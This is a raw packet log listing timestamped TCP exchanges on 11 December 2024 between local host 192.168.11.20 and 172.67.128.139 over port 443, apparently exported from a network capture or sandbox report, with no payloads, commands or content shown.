Dec 11, 2024 12:14:44.990758896 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.990803003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.990854979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.990900040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.993010044 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.993021011 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.993287086 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.993293047 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.993417025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.993796110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.994940042 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.994952917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.995078087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.995078087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.995198011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.995202065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.995316982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.996781111 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.996815920 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.996928930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.996973991 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.996973991 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.996984005 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.997026920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.997026920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.997071028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.997173071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.999020100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.999042034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.999166012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.999166012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.999212027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.999221087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.999263048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.999358892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.999358892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.999799013 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.999944925 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.999993086 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.006582022 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.009732962 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.191631079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.191657066 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.191838980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.191838980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.191857100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.191885948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.192035913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.193546057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.193581104 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.193839073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.193850040 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.193984985 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.195683002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.195705891 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.195869923 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.195918083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.195918083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.195926905 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.195965052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.196114063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.196436882 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.196583033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.196583033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.196679115 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.198431015 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.198462009 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.198606968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.198606968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.198657990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.198657990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.198666096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.198704004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.198869944 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.200325012 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.200361013 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.200488091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.200540066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.200540066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.200550079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.200584888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.200683117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.202543974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.202569008 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.202824116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.202836990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.203020096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.203948021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.204449892 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.204473972 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.204619884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.204619884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.204664946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.204664946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.204677105 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.204716921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.204813004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.206922054 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.206944942 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.207087040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.207087040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.207135916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.207135916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.207144022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.207184076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.207283020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.207283020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.208508968 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.208533049 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.208661079 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.208710909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.208710909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.208720922 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.208759069 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.208806992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.208856106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.210427046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.210501909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.210526943 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.210650921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.210699081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.210699081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.210707903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.210747957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.210747957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.210894108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.211309910 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.211853027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.211853027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.220818043 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.231182098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.419682026 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.419689894 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.419827938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.419874907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.419925928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.419934034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.419994116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.420140982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.421627998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.421650887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.421787977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.421787977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.421837091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.421837091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.421844959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.421888113 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.421983004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.423551083 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.423573971 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.423711061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.423711061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.423763990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.423763990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.423773050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.423806906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.423958063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.425369978 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.425513029 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.425621986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.425635099 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.425668955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.425770044 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.427318096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.427340984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.427561045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.427561045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.427561045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.427573919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.427757978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.429258108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.429280996 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.429507971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.429521084 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.430103064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.430103064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.431269884 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.431293011 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.431339979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.431437016 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.431536913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.431543112 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.431684971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.433161974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.433186054 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.433332920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.433398008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.433408022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.433444023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.433542013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.435612917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.435636044 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.435853958 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.435853958 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.435947895 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.435957909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.435997963 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.436084986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.436184883 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.436817884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.437670946 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.437694073 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.437814951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.437860012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.437860012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.437871933 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.437911987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.437961102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.438005924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.439441919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.439466000 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.439595938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.439640045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.439649105 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.439737082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.439874887 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.441479921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.441612005 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.441636086 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.441770077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.441770077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.441822052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.441829920 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.441870928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.441870928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.442087889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.442392111 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.442533970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.442580938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.463495970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.483503103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.647068977 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.647094011 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.647198915 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.647198915 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.647244930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.647258997 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.647342920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.647469044 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.648999929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.649024010 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.649254084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.649254084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.649348974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.649367094 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.649398088 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.649446964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.649595022 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.650928020 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.650958061 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.651084900 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.651132107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.651132107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.651145935 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.651180983 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.651230097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.651376009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.652982950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.653008938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.653146029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.653146029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.653176069 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.653198004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.653212070 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.653320074 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.653320074 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.653367043 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.655621052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.655647993 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.655781984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.655781984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.655826092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.655843019 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.655877113 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.655925035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.656025887 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.657618999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.657644987 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.657907009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.657985926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.657985926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.658015966 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.658040047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.658251047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.659504890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.659531116 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.659658909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.659658909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.659701109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.659800053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.659825087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.659967899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.661379099 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.661405087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.661611080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.661611080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.661611080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.661648035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.661672115 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.661814928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.663919926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.663945913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.664119005 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.664172888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.664172888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.664196014 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.664217949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.664484978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.665653944 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.665680885 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.665851116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.665852070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.665899038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.665899992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.665920019 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.665947914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.666098118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.667612076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.667638063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.667846918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.667870998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.667885065 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.667885065 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.668000937 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.669814110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.669919968 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.669945955 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.670305967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.670306921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.670306921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.670340061 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.670488119 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.671391010 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.671511889 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.671678066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.671678066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.671695948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.711658955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.878093004 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.878101110 CET	443	49776	172.67.128.139	192.168.11.20
